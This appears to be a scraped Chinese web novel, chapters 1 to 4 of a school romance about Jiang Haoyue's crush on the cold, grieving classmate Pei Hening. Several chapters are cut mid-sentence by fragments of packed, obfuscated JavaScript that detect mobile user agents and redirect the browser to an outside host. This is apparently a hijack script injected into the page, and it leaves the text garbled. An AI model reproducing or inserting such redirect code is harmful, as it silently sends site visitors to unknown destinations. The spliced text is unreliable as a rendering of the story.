《小甜饼》 1. 第 01 章 “梁蜚,我有喜欢的人啦!”——仓颉《玻璃糖纸》 九月,军训季。 虽已立秋,白天的操场仍像蒸笼,只有晚上才透进来一丝凉意。 路灯不算明亮,教官一声令下,队伍原地解散。 江皓月摘下帽子,折了折拿在手里,脑袋昏沉,不知道是热的还是晒的,小腿灌了铅,麻木到快要失去知觉。 她叫住室友:“梁蜚,你去打电话吗?” 梁蜚摇头:“你去的话我陪你一起。” 江皓月:“不用,可能排队得排很久,那我去了啊!” 附中惯例,军训期间全员住校,军训结束才可以走读。 江皓月长这么大,第一次离开家。 高中生不允许带手机,打电话只能用学校的公用电话,绿色的、钉在墙上的、三分钟自动切断的。 每次高一的军训解散,都赶上高二高三的晚自习下课,公用电话前的队伍总是排得老长。 昨天她排了很久,眼看就要到她,宿舍熄灯铃声紧接着响起,她不得不放下电话往宿舍跑。 晚上,江皓月躺在宿舍坚硬的床板上睡不着,总觉得被褥带着家里的味道,想妈妈,想爸爸,忍不住偷偷掉眼泪。 今天她跑得比往常更快,子弹一样,“嗖”地一下从队伍里冲出去,一口气跑到电话亭,正好前面的人挂断电话,她拿起听筒,按下妈妈的手机号。 妈妈应该不会接陌生电话吧? 她的反诈意识最强了。 没想到,电话只响了一声,就被接起来。 妈妈温柔的嗓音近在耳边:“是皓月吗?” 江皓月震惊:“妈妈,你怎么知道是我呀?” 爸爸凑到电话旁边,对她说:“你妈以前从来不接陌生电话,现在每个陌生电话都得接下,问是不是你。” 江皓月的鼻子瞬间酸了,听到爸爸说:“你妈每天晚上都抱着手机等你电话呢,军训怎么样?很累吧?” 不准哭。 不准哭。 江皓月的手指无意识扣着电话旁边的墙皮,鼻音很重:“还行,不累。” 她知道爸爸妈妈担心,于是军训脸上晒破皮不说、中暑头晕不说、在学校吃东西吃坏肚子也不说,只说:“我们宿舍的女生都很好,我们每天一起军训一起回宿舍,食堂的饭菜也很好吃,今天中午我配着红烧排骨吃了一大碗米饭……” 鼻腔的酸涩上涌,变成湿润眼眶的泪。 江皓月自私地希望,别人的三分钟短一点,她的三分钟长一点。 身后的队伍排得越来越长了。 “皓月。” “嗯……” 江皓月揉了揉眼睛,指尖湿润。 “是不是哭啦?能不能跟老师请个假,回家住一个晚上?” 妈妈不说还好,一说,想家的情绪快要把她淹没。 江皓月吸吸鼻子,紧盯着通话时间,在没出息地掉眼泪之前,小声告诉妈妈:“妈妈,时间快到了,后面还有人排……” 话没说完,电话被自动切断,眼泪却从眼眶里掉出来。 身后有人嚷嚷着—— “怎么打个电话这么慢啊……” “不知道大家都等着吗?” “真是的,都快熄灯了!” 江皓月很抱歉,让出打电话的位置,手背蹭过眼睛。 身后的电话被人拿起,又一个三分钟即将开始。 她擦干眼泪,准备回宿舍。 下一刻,电话的绿色听筒被递到她的面前。 那只拿着电话的手,肤色白皙而骨节分明,手指细而直。 江皓月没有意识到电话是给自己的,直到声音从头顶落下:“别哭了,我的时间给你。” 冷冽嗓音,无波无澜,却过分好听。 她仰起头。 男生高瘦,轮廓俊秀,短发不遮额头,露出平直长眉和睫毛浓黑的眼。 平平无奇的军训服穿在他的身上,意外有种清透明净的少年感。 她怔住,“谢谢”还没有来得及说,男生已经出了电话亭。 江皓月怔怔地按下重拨,被切断的电话得以继续。 妈妈疑惑:“不是到了三分钟吗?” 听筒似乎还有他掌心余温,而那道修长利落的身影已经消失在夜色中。 心脏像是被什么一下击中,后知后觉,砰砰跳动。 她告诉妈妈:“是身后的男生把他的三分钟给我了。” 排队的人很多,她得来男生给她的时间,却也不好意思再讲太久。 电话挂断,脑袋里的画面却在不断重演。 一直到熄灯闭上眼,江皓月的脑海还会晃过那双意外对视的眼睛。 耳边,室友们压低声音、用气音讨论:“重点班有个男生好帅啊,你们看到没有?” 反正也睡不着,江皓月摸到枕头旁的小台灯,拿出速写本。 她是美术生,寥寥几笔就勾勒出一双淡漠的眼。 内勾外翘的眼形有些凌厉,可漆黑瞳孔深处,似有温和平静的湖水。 宿舍的门突然被人从外面重重敲了三下。 宿管凶凶的嗓音穿透门板:“怎么熄灯了还有人说话!还有人开灯!” 江皓月被吓得一哆嗦,立刻关上台灯压到枕头下,薄被盖过头顶。 心脏在黑暗之中扑通扑通跳动着。 还好,还好。 查寝不查心跳。 - 从那天起,军训的时间不再难熬。 江皓月慢慢知道了男生的名字、班级—— 他是竞赛生,跟她的发小同在重点班,叫裴鹤宁。 她们班是一班,军训方队和重点班相邻,他在她的目光所及。 她的眼睛和耳朵似乎有了自己的意识,总不受控制地去捕捉关于他的画面和声音。 休息时间,她总忍不住看向他的方向,听见有人叫他的名字,她也会下意识抬头。 他不喜欢说话,不喜欢和男生扎堆。 男生们嬉笑打闹的时候,他也一个人,置身事外的模样。 他好像喜欢鲸鱼。 军训时大家的水杯都放在一起,他的水杯上有蓝色的鲸鱼。 她还发现,他的嘴角有个梨涡。 抿唇的时候能看出一点端倪,笑的时候肯定很温柔,但她从来没有见他笑过。 她已经单方面跟他变得很熟,甚至还偷偷把他指给室友梁蜚看,幼稚地压低声音讲小话:“我有喜欢的人啦。” 但是自始至终,他都不认识她。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234510|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周六上午,学校举行军训闭幕式,之后,高一集体离校。 江皓月回到家,抱着妈妈一顿撒娇。 妈妈掀开她的刘海,笑着对爸爸说:“看,你闺女变成了奥利奥!” 江·奥利奥·皓月浑不在意,她饱餐一顿后,把自己摔进床上柔软的玩偶堆里,连什么时候睡着的都不知道。 再醒来,是妈妈叫她:“今天买的西瓜特别甜,你给嘉豪送一个?” 外面的天阴沉沉的,似乎下过雨,江皓月打了个呵欠,本来还想继续睡。 但是一听要去找何嘉豪,她瞬间清醒,短发炸毛,像一颗毛茸茸的栗子。 “我这就去。” 何嘉豪的妈妈是江皓月妈妈的同事。 何嘉豪是江皓月的发小,是她在重点班的唯一人脉。 要想摘下裴鹤宁这朵高岭之花,必须从何嘉豪这里入手。 - “你先穿我的吧,衣服烘干再换自己的。” 何嘉豪打开自己的衣柜,花里胡哨的T恤里,就没有一件不带图案的。 挑来选去,他拿了一件带海贼王路飞的短袖,递给裴鹤宁:“将就一下。” “谢了。”男生淡声。 “谢什么,谁知道打球打一半会下雨,还下这么大,”何嘉豪拿起自己的换洗衣服去浴室,“你玩电脑吧,我去洗个澡。” “嗯。” 江皓月到何嘉豪家门口的时候,门没关。 她在门口喊:“何欢乐!你在家吗?” 何嘉豪,等于阖家好,等于阖家欢乐。 如果在家,还不快出来迎接她。 如果不在,开着门,等人来偷? 客厅没有人。 厨房没有人。 江皓月抱着西瓜路过书房,停住脚步。 房间不算明亮,背景是下过雨的浅灰色的天。 男生背对她,戴头戴耳机,后颈白皙,肩膀平直而宽,手指有一下没一下地操作鼠标,透出几分意兴阑珊,就好像只是打发时间。 江皓月疑惑。 军训结束,她都从鸡蛋变成卤蛋了,怎么何欢乐还白了好几个度? 而且似乎,还帅了一点点? “何嘉豪!” “何!嘉!豪!” 男生终于意识到有人走近,摘下耳机。 极其漂亮的一双手,骨节分明,手指细细长长没有突出,肤色透着冷,和黑色耳机形成强烈视觉冲击。 江皓月有点手控,但现在不是看手的时候。 他不理她,她就大声喊:“你到底有没有给我要裴鹤宁的微信啊?” 男生动作一顿,转过身来。 近在咫尺、冲击力极强的一张脸。 他坐着,她站着。 从她的角度,能看清他浓密微微卷翘的睫毛,根根分明。 鼻梁高挺而直,嘴唇很薄,但弧度很精致,嘴角是微微向下的,颜色很红。 完全就是唇红齿白少年郎的具象化。 江皓月抱着西瓜,被帅得无法呼吸。 错了。 帅了不止一点点…… 是大变活人的程度了! 男生冷冷淡淡一双眼,看向她,轻声问了句:“要我微信做什么。” 2. 第 02 章 “梁蜚,我们跟在他身后!”——仓颉《玻璃糖纸》 - “要我微信做什么。” 江皓月被美颜暴击的脑袋,猝不及防冒出一句回应:要你微信,当然是长大跟你搞对象啦! 不是在电话亭黑漆漆的光线里,也没有隔着军训时的人山人海。 他就在面前,直直看进她的眼里,瞳如点漆,目光干净,清澈少年气扑面而来。 这人怎么能好看成这样呢? 那双漂亮眼睛,安静看人的时候,能无声给人下蛊。 江皓月被蛊惑一般,他问什么,她就答了什么,只不过换了个比“搞对象”委婉些的说法:“因为我想跟你认识一下。” 她留着樱桃小丸子同款短发,但是算改良版,要长一点,刘海薄薄一层、也不是锯齿状。 十六岁的年纪,脸圆眼睛也圆,瞳仁比一般人的大,黑且亮,一眨不眨看人的时候,有种让人心软的诚恳。 但男生不为所动,声音和肤色一样冷:“不加不认识的人。” 他的声音真的好好听喔。 可是也真的好冷好冷啊…… 江皓月把西瓜放到桌子上,跟裴鹤宁讲道理:“加了不就认识了吗?不加不就一直不认识吗?” 从小到大,因为被太多人爱着,她的身上有种不被破坏的天真。 她不懂“内耗”两个字怎么写,心里想什么嘴上就说什么,从来不缺横冲直撞的勇气。 裴鹤宁没应声,她就继续说自己的,长睫毛忽闪忽闪的,声音软了些:“那天我打电话的时候,你还把电话让给我了呢!一回生二回熟,这是我们见的第二面啦。” 说到这,男生的视线才落到她的脸上。 心脏瞬间被揪紧,江皓月屏住呼吸,脸颊不受控制慢慢升温,小声问:“想起来了吗?你认不出我也是正常的,因为那个时候我还要白一点点。” 裴鹤宁目光平静,自始至终没有半分波动。 似乎那天在电话亭哭的女孩子,在他这里,只是个面目模糊的甲乙丙丁。 不管这个甲乙丙丁姓甚名谁、是白是黑,都没区别,他都会把电话递过去。 他起身,仍是清瘦少年身形,但身高优势顿显。 江皓月看他的视角从俯视变成仰视,从她的角度看过去,男生下颌是一道俊秀凌厉的弧线,唇线平直,不会笑也没有笑过似的,肤色很白,透着森森寒气。 每道线条都好看,每道线条都透着不近人情。 “没必要认识。” 他盖棺定论,字音咬得干净清晰,不留余地。 就在这时,何嘉豪擦着头发进来,手里还拎着一件白色短袖。 在他面前,江皓月目光幽怨,裴鹤宁冷如霜雪,那场面太过诡异。 他看热闹不嫌事儿大,随口问了句:“您二位认识?” 江皓月被那句“没必要认识”伤透心,气鼓鼓又委屈巴巴道:“不认识……” “那我介绍一下,”何嘉豪把烘干的衣服递给裴鹤宁,“这我发小,这我竞赛班大神,我去切西瓜,您二位认识认识呗。” “不了,”裴鹤宁拎起自己的衣服,“你的衣服我洗了还你,先回家了。” 他错身而过时,江皓月的鼻尖拂过清冽的薄荷香气,短短一瞬。 门被带上,轻且利落。 何嘉豪无辜摊手:“我说什么来着?现在自己亲眼见了知道了吧?” 江皓月眼神炯炯:“他怎么会在你家?” “我们约着打球呢,半道下雨了。” 军训还没结束那会,江皓月找何嘉豪打听过裴鹤宁,何嘉豪说他跟他很熟,他们都是竞赛生,初中就认识。 她特别开心:“那你一定有他微信吧?推给我推给我。” 当时何家豪说的是,就算他是我哥们,你是我发小,我把他的微信推给你,也得经过人家同意不是。 何家豪迟迟没有动作,她以为是他忘记了,急吼吼过来找他,现在她明白了,肯定是裴鹤宁不同意。 江皓月小脸皱成苦瓜:“他是单对我冷,还是对所有妹妹都冷?” 何嘉豪:“不光对妹妹冷,对弟弟也冷,对所有人无差别的冷,懂了吗?” 偏偏,唇红齿白、气质清冷的高岭之花,是江皓月万年不变的取向狙击。 小时候看《犬夜叉》,她就被外表高冷武力强大的杀生丸迷成了小花痴。 脑袋就是那个时候坏掉的。 何嘉豪切了西瓜,端过来:“行了,冰山自己亲自撞了,回头是岸吧。” “我才不要,他像我童年男神呢!” 江皓月咬着西瓜,甜甜的汁水在舌尖蔓延。 她的声音清脆又甜:“他高冷,我矮热,正好天生一对。” - 军训结束,高中生活拉开帷幕。 江皓月开始喜欢上学。 常年不拖到最后一刻、不愿出家门的人,现在不用妈妈督促,每天早早背上书包去赶公交车。 附中教学楼有三部楼梯,明明正中间的楼梯离一班更近,但江皓月每天都绕远去走东侧楼梯。 气喘吁吁爬到五楼之后,她整理头发,平稳呼吸,放慢脚步。 在经过重点班门口的时候,目光状似不经意地往里一扫—— 裴鹤宁个子高,座位在后排靠窗的位置。 他撑着脑袋看书,黑发垂落额头,鼻梁挺直,侧脸被阳光镀了一层金色的光,竟然有几分温柔。 似有察觉,他抬起头,目光干净淡然。 猝不及防的对视,让江皓月心脏骤停。 她若无其事地移开视线,目不斜视昂首挺胸走回自己班。 心脏怦怦跳个不停,嘴角却忍不住上扬。 今日糖分,摄取完毕! 江皓月开始喜欢课间操。 裴鹤宁从教室去操场时,会经过一班门口。 每个大课间,江皓月都早早从教室出来站在走廊,跟梁蜚说:“我们吹会风再走吧。” 很快,重点班也下课了。 她总能第一时间捕捉到他的身影——高高的个子,黑黑的头发,眉眼漂亮得让人不敢直视。 她装作和梁蜚聊天,其实眼角余光全部是他,心跳替她计数他和她之间的距离,一声比一声清晰。 在他和她擦肩而过的时候,她说话的声音会莫名其妙地变大。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234511|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >想要被他听见,想要被他留意,想要被他了解,复盘之后又会觉得自己刚才说了蠢话—— 早上吃了几个饼、中午要去抢什么饭,是什么很值得骄傲的事情吗? 要在他的面前展示自己的优点呀! 但下次遇到,还是会这样。 江皓月开始喜欢晚自习下课。 “皓月,不走吗?”每天晚上,梁蜚喊她。 江皓月的眼睛一眨不眨注视着教室门口。 直到男生修长利落的侧影一晃而过,她飞快拎起自己的书包:“我们跟在他身后!” 从五楼到一楼,从教室门口到学校门口。 江皓月走在裴鹤宁的身后,不远不近的距离。 她希望人多一点,路长一点。 他好走得慢一点,在她的目光里待久一点。 因为这是她一天中最开心的时间。 漫天繁星,晚风很清,月光落他一身。 怎么会有一个人,远远看着,都觉得很美好呢。 道路两旁栾树到了最美的季节,她看到他从树下经过。 她踮起脚尖,小心翼翼摘下了那片碰到他头发的叶子。 - 时间不紧不慢地过着。 周五下午,班里躁动得很明显。 窗外,雨淅淅沥沥下了一天,直到放学都没有要停的意思。 江皓月像往常一样,有意无意盯着教室门口。 偏偏,班主任不合时宜地站上讲台:“我再说两句。” 江皓月蔫了,眼睁睁看着裴鹤宁从她们班门口走过。 这几天降温,他的校服短袖外面是自己的薄外套,修长指尖拎着的伞是深蓝色,撑开后有一只遨游的鲸鱼。 班主任说“放学”,江皓月第一个冲出教室。 她在一片颜色单调的雨伞里,努力辨别那只蓝色鲸鱼,可小鲸鱼不知道游去了哪里。 她垂头丧气走到校门口,下一刻,眼睛蓦地亮起。 裴鹤宁的背影很好认。 他身高腿长,肩背很直,宽松黑色外套没有图案。 雨越下越大,他抬手扣上帽子,手里拎的塑料袋不知道装了什么、很大一袋,转身走进街边的书店避雨。 他的伞呢? 刚才不还拎在手里吗? 在他身后不远处,摆摊卖自家鲜果的奶奶,破天荒早早收摊,带着笑意说:“今天天黑之前就能到家喽!” 老人佝偻着腰,把背篓背到肩上。 手里的雨伞撑开,上面赫然是一只雨天游弋的鲸鱼。 原来,小鲸鱼在这里呀。 江皓月走进那家书店,收起雨伞。 她的伞是自己画的,撑开之后,是一朵身上长着圆滚滚斑点的蘑菇。 她把伞上的雨水擦干净,放到柜台上,礼貌叫住收银的小姐姐。 “姐姐,如果待会雨还不停的话,麻烦您把伞给那个黑衣服的男生。谢谢姐姐。” 走出书店,雨还在下。 江皓月把书包举过头顶,跑向只有几步之遥的公交车站牌。 就算是一朵小小的不起眼的蘑菇,也想在下雨天变成伞,给喜欢的人遮风挡雨。 3. 第 03 章 “梁蜚,打水可以看到他!”——仓颉《玻璃糖纸》 - 书店二楼。 窗外雨没有要停的意思,接学生的私家车在校门口排起长队,时不时响起鸣笛声。 裴鹤宁挑了几本辅导书准备下楼。 看到什么,他的目光顿了下。 穿校服的女孩把红色书包举过头顶,冒着雨冲向公交车站牌。 他转身下楼结账,顺便取回刚才寄存的一袋东西—— 校门口卖无花果的奶奶,每个周五走很远的路来摆摊,卖家里的无花果和自己种的蔬菜,卖完再走很远的路回去。 外面的雨越来越大。 店员把柜台上的书扫码后,才抬头看了面前男生一眼。 眼睛蓦地一亮。 难怪有女生不留名姓给他送伞。 干净挺拔的一道身形,英俊面孔,长睫浓黑,不说话时疏离感很重,一看就是很难搞的那类男生。 店员把书装进袋子,顺手从柜台取出雨伞:“刚才有个小姑娘让我给你的。” 裴鹤宁蹙眉,不明所以。 红色雨伞撑开之后,变成一朵带白色斑点的蘑菇。 托蘑菇的福,他没有淋雨。 他拿出钥匙开门,还未走进,父亲的声音从客厅传到玄关:“我爱人刚过世的时候,我要每天抱着她的遗照才能睡着。” “您和您爱人的感情真的很深厚。” 父亲恰到好处地叹了口气,透出对亡妻的无限追思,继续道:“我们结婚十几年,从没吵过架、红过脸,有时候下班回家,我还觉得她在家里,好像叫她的名字她还会答应……” 裴鹤宁抬眸,眸光冰冷。 客厅正中,母亲在遗照里静默不语警服笔挺。 她是警察,执行抓捕任务时受到重伤,抢救无效死亡。 母亲去世之后,被公安部追授二级英模,成为本市公安系统的先进典型。 事迹被一次次报道、一次次宣讲,不厌其烦。 每一次采访都让不曾愈合的伤口重新撕裂,而父亲在这样的撕裂里如鱼得水、步步高升。 裴鹤宁绕开人群、摄像机往房间走。 “鹤宁,过来和叔叔阿姨们打个招呼。” 裴鹤宁置若罔闻,母亲生前教他的礼貌教养此刻全部作废。 卧室房门被带上,父亲那句“孩子在他妈妈去世之后越来越孤僻”从门缝里挤进来。 他抬手把书架上、书桌上摆着的竞赛课本全部打包收起。 三年心血,只等雨过天晴,当做废纸卖掉。 他从初一开始为数学竞赛做准备,天赋值和努力值都点满,因要兼顾文化课学习,每天晚上熬到十二点也不觉得累。 可现在他不准备继续下去。 竞赛、保送、大好前程,在母亲离世之后丧失意义。 他记得自己第一次提想考警校和妈妈一样,妈妈恶狠狠警告他“敢当警察打断腿”。 他问为什么,妈妈不说,却用生离死别告诉他理由。 目光最后落在书桌那张全家福上。 我要考警校了。 您来打断我的腿吧。 他很麻木地想。 起码让我再见一面。 不知道过了多久,卧室的门被推开。 父亲的指责铿锵有力:“省委宣传部的人来家里,你一点儿礼貌都没有!” 裴鹤宁平静道:“您有就行了。” 父亲被噎住,没好气地问:“晚饭想吃什么?” 裴鹤宁眼神冰冷,嘴角却是弯着的:“不吃了,我妈的人血馒头已经吃饱了。” 后面父亲怒不可遏说了什么,裴鹤宁都没去听,卧室的门被重重带上。 雨伞撑开之后,被放在阳台晾干,成为这个阴雨天里的唯一一抹亮色。 - 江皓月在门关闭的前一刻上了公交车。 坐在后排的何嘉豪正东张西望,江皓月气喘吁吁挨着他坐下:“俺老江来也。” 何嘉豪嫌弃道:“你土得我受不了。” 江皓月也不恼,又给他哼《西游记》主题曲的旋律:“噔噔蹬蹬,噔噔蹬蹬……” “去哪儿了?是不是背着我吃好吃的了?” “没,”江皓月从书包里拿出抽纸,擦额头和脸上的雨水,“有重要的事耽误了。” “什么事比回家重要?” 江皓月看到他放在脚边的雨伞,答非所问:“你一点都不关心同学。” 何嘉豪不知道她在说什么,盯着她一绺绺的刘海:“你的蘑菇呢?” 暴雨拍打车窗,江皓月庆幸自己给裴鹤宁留下雨伞,得意道:“小蘑菇拯救世界去啦!” 何嘉豪听不懂也不打算懂:“我看你今天这状态是吃毒蘑菇吃多了。” 两人见面就掐,掐着掐着就到了站,下车挤在一把伞下,都淋得不轻。 江皓月一进门,妈妈二话不说拿着毛巾在她脑袋上一通搓,直到搓了个鸟窝出来。 “以后上学带个旧手机,下雨天给我打电话,我连你跟嘉豪一起接上。” “嗯嗯嗯。” 江皓月顶着乱糟糟的鸟窝点头,回到房间换下湿衣服又洗了热水澡。 爸爸给她煮了姜汤,她从小不喜欢姜的味道,但还是一口气灌下去。 脑海还是会浮现奶奶撑开雨伞、小鲸鱼出现的那一幕。 只是想想,都觉得心软软。 晚饭后,雨终于停了。 江皓月跟着妈妈去超市采购,扩充她的零食库。 无意经过卖伞的区域,一把深蓝色鲸鱼雨伞格外显眼。 江皓月想也没想把它放进购物车。 妈妈疑惑:“你不是喜欢买透明雨伞,自己画吗?” “对呀,”江皓月眉眼弯弯,“但我现在喜欢小鲸鱼了。” 这就是爱屋及乌吗? 她看到这把雨伞,就想起了裴鹤宁。 只是,他为什么喜欢鲸鱼呢? 江皓月不知道答案,但是从今天起,她也喜欢鲸鱼了。 她买下一把鲸鱼雨伞,满心欢喜地期待着下一个雨天。 - 周一。 不知道主人是谁的蘑菇雨伞,被裴鹤宁折叠整齐,放在窗台。 课间,何嘉豪回头看到,不可置信问他:“江皓月的伞怎么在这儿?” 裴鹤宁淡声:“江皓月是谁。” 何嘉豪一口气差点提不上来。 得嘞,他的发小在那伤春悲秋,问他“是单对她冷,还是对所有妹妹都冷”,没想到人家压根不知道她叫什么名字。 但裴鹤宁似乎一向如此。 他不在意谁喜欢他,因为不需要,也从不把注意力分给别人。 每天见到的同学老师对他来说,或许只是面目模糊的NPC,只能得到他一视同仁的冷淡。 上次,何嘉豪都没来得及介绍江皓月的名字,裴鹤宁就拿着自己的衣服离开了。 “就是来我家送西瓜的蘑菇头,她叫江皓月,想起来没?” 裴鹤宁有印象。 那个说“加了就认识了,不加就一直不认识”的蘑菇头。 因为脑袋上翘着一朵呆毛,所以像是长了天线的蘑菇头。 “怎么知道是她的?” “这伞原本是透明的,上面的蘑菇是她自己画的,她是美术生,中考全市第一,”何嘉豪把雨伞内侧的颜料痕迹指给裴鹤宁看,“她把伞借你了?难怪下了公交车就抢我的伞,雨太大了,跟用盆泼一样,到家我俩都淋成狗了。” 裴鹤宁没有说话。 所以那天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江皓月的脑袋里蓦地冒出一个念头——好好一个高冷帅哥,这么宜室宜家的吗? 她接过,长睫毛忽闪,瞳孔都是亮晶晶的惊喜,问道:“你怎么知道是我的呀?” “何嘉豪。” 裴鹤宁惜字如金,讲话从不多说一个字,看起来还是很冰山。 可是他会在下雨天买下奶奶所有的菜,把雨伞送给人家。 所以,就算是冰山,也是内心柔软的冰山、可爱的冰山。 他都自己主动送上门了,她怎么能轻易让他走呢! 江皓月仰起脸:“那你就只是口头谢谢呀?” 裴鹤宁垂眼。 这次她的头顶没有翘着呆毛,是很齐整的蘑菇头了。 “那你想我怎么谢。” 冷冽嗓音,没有任何情绪。 男生浓黑的睫毛低垂,鼻梁高挺,皮肤白皙像上好的釉,低头看着她的模样,莫名给人听之任之的错觉。 好好看啊他。 长成这样,呼吸都等同于勾引。 江皓月真的很想说:那你以身相许吧。 但她忍住了。 她不知道对于他这样冷淡的人,他们现在算认识了吗? 她不想再跟他当不认识的人了。 她想和他成为见面目光对上可以打招呼的人,放学路上遇到可以聊天可以并肩一起走的人,在食堂吃饭可以坐一张桌子的人。 然后,慢慢变成朋友。 徐徐图之,再变成…… 江皓月抿唇,措辞半天,放软了声音征求他的意见:“我想你跟我认识一下,可以吗?” 语气难得有些小心翼翼的,她一眨不眨盯着他的表情:“如果你不愿意的话,也没关系啦……” “已经认识了。” 低而轻的嗓音落在耳边,江皓月呼吸凝滞,怔在原地。 裴鹤宁看向她,清澈剔透的眼睛,如同平静的湖面,他第一次叫出她的名字:“江皓月同学。” 4. 第 04 章 “梁蜚,他同意加我微信啦!”——仓颉《玻璃糖纸》 - 这是江皓月第一次听裴鹤宁叫自己的名字。 干净磁性的少年音色,咬字清晰落在耳边,耳朵被烫到一般,无可救药地升温。 “你说,不加不认识的人,那现在可以加微信了吗?” 裴鹤宁个子太高,所以跟他说话,江皓月总是需要仰起脑袋。 她的瞳孔黑亮,透着无畏与不被破坏的天真,纯净没有杂质。 裴鹤宁长而微翘的睫毛轻轻覆着,带几分无奈,低声说:“等周五放学。” 裴建勋对他的电子设备使用时间管控严格。 因他没有社交需求,对游戏也无半点兴趣,所以从未反抗。 就那么几个字,一下戳中江皓月的好心情开关,亮闪闪的笑意霎时从瞳孔溢出来。 她的眼尾弯着:“我头像是自己画的小蘑菇,名字也是小蘑菇,你记得通过哦!” 裴鹤宁垂眸,女孩子喋喋不休,好像加微信是很重大的事情,要叮嘱注意事项。 她可能不知道。 她自己也很像。 他应声:“知道了。” 今日糖分严重超标,江皓月简直无力抵抗。 她轻快道:“那我去打水了,拜拜!” 回到教室,她把手里的水杯发下去,脸埋在手臂里偷偷笑,脸颊发红发烫。 梁蜚忍俊不禁:“怎么啦?” 江皓月声音甜得浸了糖:“我要到裴鹤宁微信了!他同意周五加我!” 梁蜚:“恭喜呀。” 江皓月笑得见牙不见眼:“你说得好像我俩要结婚!” 因为距离周五还早,为了防止裴鹤宁忘记—— 课间操的时候,裴鹤宁经过一班门口。 视线相对,江皓月挥手say hi:“大后天就是周五了哈!” 裴鹤宁俊秀白皙的脸表情匮乏,但会点个头,表示自己听见。 食堂吃饭的时候,江皓月端着餐盘坐到裴鹤宁对面:“后天就是了哈!” 裴鹤宁不说话,她就一直盯着人家,直到他轻轻“嗯”一声。 下晚自习路上,裴鹤宁听见身后急促脚步声,垂眸去看地上影子—— 因为小跑的关系,她的“蘑菇头”变成蒲公英,发丝一晃一晃的。 紧接着,声音在身后响起:“裴鹤宁,明天了哈!” 他被缠得没有办法:“记住了。” 周五放学,江皓月背着书包等在自己班门口,笑得脸蛋圆圆:“裴鹤宁!” 裴鹤宁在她开口前,轻声说了句:“我没忘。” 江皓月突然觉得,虽然裴鹤宁很高冷,但不是凶凶的冷,而是温温柔柔的冷。 到家之后,她直奔房间拿起手机,搜索裴鹤宁的手机号。 页面跳转,她下意识屏住呼吸,就好像屏幕里不是冷冰冰的账号,而是他本人。 他的名字是鲸鱼的emoji——一只脑袋上冒着水花的小鲸鱼。 头像是一只巨可爱的德牧幼崽。 莫非,是他养的狗狗? 江皓月按下“添加好友”,把手机音量调到最大。 - 裴鹤宁到家时,父亲坐在客厅沙发上,气压很低。 一开口,兴师问罪的意味明显:“你们班主任给我打电话,说你不准备学竞赛了。” 裴鹤宁没应声,激怒裴建勋:“我说话你没听见是不是。” 裴鹤宁眼神淡漠,面无表情反问:“您都知道了,还需要我说什么。” 裴建勋起身:“考大学是儿戏?你是想怎样?” 裴鹤宁平静道:“考警校,当警察,以后我妈的警号……” 他指了指自己左边胸口的位置:“就会别在我的这里。” “高考你拿来意气用事!不可理喻!” 裴鹤宁没有理会,径直走向父亲书房。 自己的手机就放在书桌上,还有余温。 手机屏幕亮起,显示未接来电1个,联系人备注:谭叔叔。 通话记录显示,就在刚才,父亲用这部手机给谭叔叔回了电话,通话时间三分三十秒。 谭叔叔是母亲的大学师兄,刑侦支队的同事。 母亲出事之后,谭叔叔离开刑侦支队,申请调到警犬基地,成为辛巴的训导员。 辛巴,是母亲无数次执行任务带在身边的警犬。 “谭叔叔打电话了?” 母亲去世后,裴鹤宁一直和谭将明有联系。 他隔三差五问,辛巴什么时候退役,什么时候可以领养。 裴建勋没好气:“他说辛巴冬天退役,你领养的话优先考虑。” 裴鹤宁的心跳变快了,脸上难得流露出和年纪相仿的在意与期待:“您怎么说?” 裴建勋冷漠道:“我说没时间,领养不了,你不上学还是我不工作?家里弄来一只狗,又脏又臭,谁管?” “可那是跟妈妈执行任务的警犬,咬住嫌疑犯裤脚被捅了一刀的警犬,可不可以……” 裴鹤宁低声:“爸,那是我妈最后的遗物……” “你领养了你妈妈的警犬,她就能回来了?不要做没用的事情。” 裴鹤宁看向自己的父亲。 那个口口声声说着,不抱着亡妻遗照睡不着的人。 那个将深情人设套在身上,一口一口吞下人血馒头的人。 如月色清亮的瞳孔里,有光熄灭,黯淡一片。 - 江皓月把手机音量调到最大,都没有等到好友申请通过的提示音。 坏蛋。 明明说好的。 她都期待一个星期了。 江皓月心情愤懑,打开自己装零食的专用小冰箱,迫切需要补充糖分,却发现库存告急,最喜欢的糖果、巧克力都吃光了。 她换上衣服鞋子,准备去便利店采购。 爸爸提醒:“带把伞,说是一会儿有雨。” “好嘞。” 江皓月拿起自己崭新的鲸鱼雨伞。 她进便利店的时候空着手,出来的时候,嘴里咬着柠檬糖,购物袋装得满满当当。 往外走时,她看到什么,视线霎时定住,无法移开。 便利店门口栾树茂密,仰头看去,似乎能占满半个夜空。 栾树下的排椅上,少年安静坐着,垂着脑袋,不知道在想什么,侧脸透着冷。 “裴鹤宁!” 江皓月走到他面前:“这么巧,在这里遇到你了!” 话音雀跃,惊喜不加掩饰,仿佛遇到他是天大的好事。 裴鹤宁抬头,白色短袖罩着宽肩,搭黑色运动长裤,线条利落,干干净净的模样很让人心动。 他“嗯”了声,一如既往冷淡,并没有要跟她聊天的兴致。 似乎,心情不太好。 不对,是非常不好。 江皓月在他旁边坐下,看到没拆封的三明治:“你还没吃晚饭吗?” “嗯。” 